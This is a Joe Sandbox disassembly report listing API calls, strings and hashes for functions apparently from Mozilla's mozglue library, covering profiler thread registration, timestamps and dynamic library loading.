Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: c453229f3f057ace83db4bee5ce485793a913df7521f73faa6289d223e950c16
Instruction ID: ffe73d662ebe128f05567befbb330f676ff83a797ed01d7cdacf05f797f5b541
Opcode Fuzzy Hash: c453229f3f057ace83db4bee5ce485793a913df7521f73faa6289d223e950c16
Instruction Fuzzy Hash: 7961E2B0B043D4AFEB129F61CC09BA97BB8EF66309F048558ED149B641D7748985CF71

Function 6CB3F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB04A68), ref: 6CB3945E
Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB39470
Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB39482
Part of subcall function 6CB39420: __Init_thread_footer.LIBCMT ref: 6CB3949F

GetCurrentThreadId.KERNEL32 ref: 6CB3F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CB3F8F9

Part of subcall function 6CB06390: GetCurrentThreadId.KERNEL32 ref: 6CB063D0
Part of subcall function 6CB06390: AcquireSRWLockExclusive.KERNEL32 ref: 6CB063DF
Part of subcall function 6CB06390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB0640E

ReleaseSRWLockExclusive.KERNEL32(6CB7F4B8), ref: 6CB3F93A
GetCurrentThreadId.KERNEL32 ref: 6CB3F98A
GetCurrentThreadId.KERNEL32 ref: 6CB3F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB3F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB3F716

Part of subcall function 6CB394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB394EE
Part of subcall function 6CB394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB39508

Part of subcall function 6CAFB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CAFB5E0

GetCurrentThreadId.KERNEL32 ref: 6CB3F739
AcquireSRWLockExclusive.KERNEL32(6CB7F4B8), ref: 6CB3F746
GetCurrentThreadId.KERNEL32 ref: 6CB3F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB7385B,00000002,?,?,?,?,?), ref: 6CB3F829
free.MOZGLUE(?,?,00000000,?), ref: 6CB3F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CB3F866
free.MOZGLUE(?), ref: 6CB3FA0C

Part of subcall function 6CB05E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB055E1), ref: 6CB05E8C
Part of subcall function 6CB05E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB05E9D
Part of subcall function 6CB05E60: GetCurrentThreadId.KERNEL32 ref: 6CB05EAB
Part of subcall function 6CB05E60: GetCurrentThreadId.KERNEL32 ref: 6CB05EB8
Part of subcall function 6CB05E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB05ECF
Part of subcall function 6CB05E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CB05F27
Part of subcall function 6CB05E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CB05F47
Part of subcall function 6CB05E60: GetCurrentProcess.KERNEL32 ref: 6CB05F53
Part of subcall function 6CB05E60: GetCurrentThread.KERNEL32 ref: 6CB05F5C
Part of subcall function 6CB05E60: GetCurrentProcess.KERNEL32 ref: 6CB05F66
Part of subcall function 6CB05E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CB05F7E

free.MOZGLUE(?), ref: 6CB3F9C5
free.MOZGLUE(?), ref: 6CB3F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CB3F9A6
Thread , xrefs: 6CB3F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6CB3F71F
" attempted to re-register as ", xrefs: 6CB3F858

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: f418f6768e088064b6aafcabb71ff512eb94cf77856860b9b3dd4997d6874477
Instruction ID: 3667eb82ce0ae9e4d0255b7079507502094ca1bfa5014e437db9afe65520186c
Opcode Fuzzy Hash: f418f6768e088064b6aafcabb71ff512eb94cf77856860b9b3dd4997d6874477
Instruction Fuzzy Hash: BD813571A043A09FDB11DF24C840AAEBBB5FF85308F44456DE8599BB51EB30D84DCBA2

Function 6CB05E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB05E9D

Part of subcall function 6CB15B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CB156EE,?,00000001), ref: 6CB15B85
Part of subcall function 6CB15B50: EnterCriticalSection.KERNEL32(6CB7F688,?,?,?,6CB156EE,?,00000001), ref: 6CB15B90
Part of subcall function 6CB15B50: LeaveCriticalSection.KERNEL32(6CB7F688,?,?,?,6CB156EE,?,00000001), ref: 6CB15BD8
Part of subcall function 6CB15B50: GetTickCount64.KERNEL32 ref: 6CB15BE4

GetCurrentThreadId.KERNEL32 ref: 6CB05EAB
GetCurrentThreadId.KERNEL32 ref: 6CB05EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB05ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CB06017

Part of subcall function 6CAF4310: moz_xmalloc.MOZGLUE(00000010,?,6CAF42D2), ref: 6CAF436A
Part of subcall function 6CAF4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAF42D2), ref: 6CAF4387

moz_xmalloc.MOZGLUE(00000004), ref: 6CB05F47
GetCurrentProcess.KERNEL32 ref: 6CB05F53
GetCurrentThread.KERNEL32 ref: 6CB05F5C
GetCurrentProcess.KERNEL32 ref: 6CB05F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CB05F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CB05F27

Part of subcall function 6CB0CA10: mozalloc_abort.MOZGLUE(?), ref: 6CB0CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB055E1), ref: 6CB05E8C

Part of subcall function 6CB0CA10: malloc.MOZGLUE(?), ref: 6CB0CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB055E1), ref: 6CB0605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB055E1), ref: 6CB060CC

Strings

GeckoMain, xrefs: 6CB05ECE, 6CB06015

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: e2038ef4b9f160c94959c16d0689fb8062e69672ae8cd3fe5fdf9d253dba5788
Instruction ID: 570334e47f58cf3d06a932ac57880bd7ed2e45b0f767637f83c9f1c48bc14f50
Opcode Fuzzy Hash: e2038ef4b9f160c94959c16d0689fb8062e69672ae8cd3fe5fdf9d253dba5788
Instruction Fuzzy Hash: CE71D4B0A047809FDB11DF24C480A6EBBF4FF49304F54496DE98687B52D770E988CBA6

Function 6CB09590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CAF3217
Part of subcall function 6CAF31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CAF3236
Part of subcall function 6CAF31C0: FreeLibrary.KERNEL32 ref: 6CAF324B
Part of subcall function 6CAF31C0: __Init_thread_footer.LIBCMT ref: 6CAF3260
Part of subcall function 6CAF31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CAF327F
Part of subcall function 6CAF31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAF328E
Part of subcall function 6CAF31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAF32AB
Part of subcall function 6CAF31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAF32D1
Part of subcall function 6CAF31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAF32E5
Part of subcall function 6CAF31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAF32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CB09675
__Init_thread_footer.LIBCMT ref: 6CB09697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CB096E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CB09707
__Init_thread_footer.LIBCMT ref: 6CB0971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB09773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CB097B7
FreeLibrary.KERNEL32 ref: 6CB097D0
FreeLibrary.KERNEL32 ref: 6CB097EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB09824

Strings

MapViewOfFileNuma2, xrefs: 6CB097B1
NtMapViewOfSection, xrefs: 6CB09701
ntdll.dll, xrefs: 6CB096E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CB09670

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 06578bb65c945a63e575fa5ac925e80858d434148825974db074e0b6f9641818
Instruction ID: d53534a9f9ac8d9ad0e6fc905aff422dbfe93cd0fed2b6eb93eb1ae4a5a599e4
Opcode Fuzzy Hash: 06578bb65c945a63e575fa5ac925e80858d434148825974db074e0b6f9641818
Instruction Fuzzy Hash: FF61E371B002959FDF02DFA8D888B9A7BB4FB9A325F104519ED1587780D734A844CFB2

Function 6CB56660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CB7F618), ref: 6CB56694
GetThreadId.KERNEL32(?), ref: 6CB566B1
GetCurrentThreadId.KERNEL32 ref: 6CB566B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CB566E1
EnterCriticalSection.KERNEL32(6CB7F618), ref: 6CB56734
GetCurrentProcess.KERNEL32 ref: 6CB5673A
LeaveCriticalSection.KERNEL32(6CB7F618), ref: 6CB5676C
GetCurrentThread.KERNEL32 ref: 6CB567FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CB56868
RtlCaptureContext.NTDLL ref: 6CB5687F

Strings

WalkStack64, xrefs: 6CB56890

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 11990a546682fa0990dbb723402959e125a6276e3777532f5a333cc501f461bc
Instruction ID: a24d7ff9bd779ececf76d92b9580be2a8dc60aeef75123a1b87cc28becf4dff7
Opcode Fuzzy Hash: 11990a546682fa0990dbb723402959e125a6276e3777532f5a333cc501f461bc
Instruction Fuzzy Hash: 14518871A09391AFDB12CF24C844A9ABBF4FF89714F40492DF99997740D770E918CBA2

Function 6CB3DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB04A68), ref: 6CB3945E
Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB39470
Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB39482
Part of subcall function 6CB39420: __Init_thread_footer.LIBCMT ref: 6CB3949F

GetCurrentThreadId.KERNEL32 ref: 6CB3DE73
GetCurrentThreadId.KERNEL32 ref: 6CB3DF7D
AcquireSRWLockExclusive.KERNEL32(6CB7F4B8), ref: 6CB3DF8A
ReleaseSRWLockExclusive.KERNEL32(6CB7F4B8), ref: 6CB3DFC9
GetCurrentThreadId.KERNEL32 ref: 6CB3DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB3E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CB04A68), ref: 6CB3DE7B

Part of subcall function 6CB394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB394EE
Part of subcall function 6CB394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB39508

Part of subcall function 6CB2CBE8: GetCurrentProcess.KERNEL32(?,6CAF31A7), ref: 6CB2CBF1
Part of subcall function 6CB2CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAF31A7), ref: 6CB2CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CB04A68), ref: 6CB3DEB8
free.MOZGLUE(00000000,?,6CB04A68), ref: 6CB3DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CB3DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CB3E00E
[I %d/%d] locked_profiler_stop, xrefs: 6CB3DE83
<none>, xrefs: 6CB3DFD7

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: a594a1c7daf3b3acee19355f4ed5d49250fe8f1be33a1187428400259ce9f4a3
Instruction ID: dcfb2dfbdc8d0ac2606d5fedf576f493496bf90796574fbbc76eb63c887c8f2d
Opcode Fuzzy Hash: a594a1c7daf3b3acee19355f4ed5d49250fe8f1be33a1187428400259ce9f4a3
Instruction Fuzzy Hash: 3141E035B012B09BEF219B64E8487AE7B75EB41308F540019EE1987B41CB30A819CBF6

Function 6CB4D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB4D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB4D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB4D52A
GetCurrentThreadId.KERNEL32 ref: 6CB4D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB4D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB4D55F
free.MOZGLUE(00000000), ref: 6CB4D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB4D5D3
GetCurrentThreadId.KERNEL32 ref: 6CB4D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB4D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB4D652
GetCurrentThreadId.KERNEL32 ref: 6CB4D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB4D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB4D6A2

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 6308fb41061e566919f07df73d0fc0213e495b914ede0a02ae8c216286abc03c
Instruction ID: 2a23888347d9d03c247a85bab025f0c9bd65584f01d1172363f9228ddf34688a
Opcode Fuzzy Hash: 6308fb41061e566919f07df73d0fc0213e495b914ede0a02ae8c216286abc03c
Instruction Fuzzy Hash: 92516C71608745DFCB04DF34C488A9ABBF4FF89318F108A2EE85A87711DB30A945CBA1

Function 6CB15670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CB156D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB156E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CB156F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CB15744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CB157BC
GetTickCount64.KERNEL32 ref: 6CB158CB
EnterCriticalSection.KERNEL32(6CB7F688), ref: 6CB158F3
__aulldiv.LIBCMT ref: 6CB15945
LeaveCriticalSection.KERNEL32(6CB7F688), ref: 6CB159B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CB7F638,?,?,?,?), ref: 6CB159E9

Strings

MOZ_APP_RESTART, xrefs: 6CB156CC

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 2c181296eb8becb5ea875a39532d1bb7b165d568b575ff535aa15de68e53dda9
Instruction ID: 49d556d9d015dc641134a5305746a8134b68aec40c3141e13611e63607816692
Opcode Fuzzy Hash: 2c181296eb8becb5ea875a39532d1bb7b165d568b575ff535aa15de68e53dda9
Instruction Fuzzy Hash: 31C15B71A0C3909FDB06CF28C44066AB7F1FF9A754F158A1DE8C497A60D730E889CB96

Function 6CB3EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB04A68), ref: 6CB3945E
Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB39470
Part of subcall function 6CB39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB39482
Part of subcall function 6CB39420: __Init_thread_footer.LIBCMT ref: 6CB3949F

GetCurrentThreadId.KERNEL32 ref: 6CB3EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB3EC8C

Part of subcall function 6CB394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB394EE
Part of subcall function 6CB394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB39508

GetCurrentThreadId.KERNEL32 ref: 6CB3ECA1
AcquireSRWLockExclusive.KERNEL32(6CB7F4B8), ref: 6CB3ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CB3ECC5
ReleaseSRWLockExclusive.KERNEL32(6CB7F4B8), ref: 6CB3ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB3ED19
CloseHandle.KERNEL32(?), ref: 6CB3ED28
free.MOZGLUE(00000000), ref: 6CB3ED2F
ReleaseSRWLockExclusive.KERNEL32(6CB7F4B8), ref: 6CB3ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CB3EC94

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 536bb0aa947ceebf842146537e689abda69ef06a01511ef0c7c659a3f5ef191e
Instruction ID: 7ab7056c087dad042f041346a0a71246d2e5738ff91f1a31fd0cd935c1065109
Opcode Fuzzy Hash: 536bb0aa947ceebf842146537e689abda69ef06a01511ef0c7c659a3f5ef191e
Instruction Fuzzy Hash: 9921BF756001B4ABEF029F24D808A9E3B79FB8636CF104211FD2897B41DB319C258BB6

Function 6CB38ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CAFEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAFEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CB3B392,?,?,00000001), ref: 6CB391F4

Part of subcall function 6CB2CBE8: GetCurrentProcess.KERNEL32(?,6CAF31A7), ref: 6CB2CBF1
Part of subcall function 6CB2CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAF31A7), ref: 6CB2CBFA

Strings

stack-chart, xrefs: 6CB390B2
name, xrefs: 6CB38F16
marker-chart, xrefs: 6CB3905E
marker-table, xrefs: 6CB3906C
timeline-overview, xrefs: 6CB3907A
timeline-ipc, xrefs: 6CB39096
timeline-fileio, xrefs: 6CB390A4
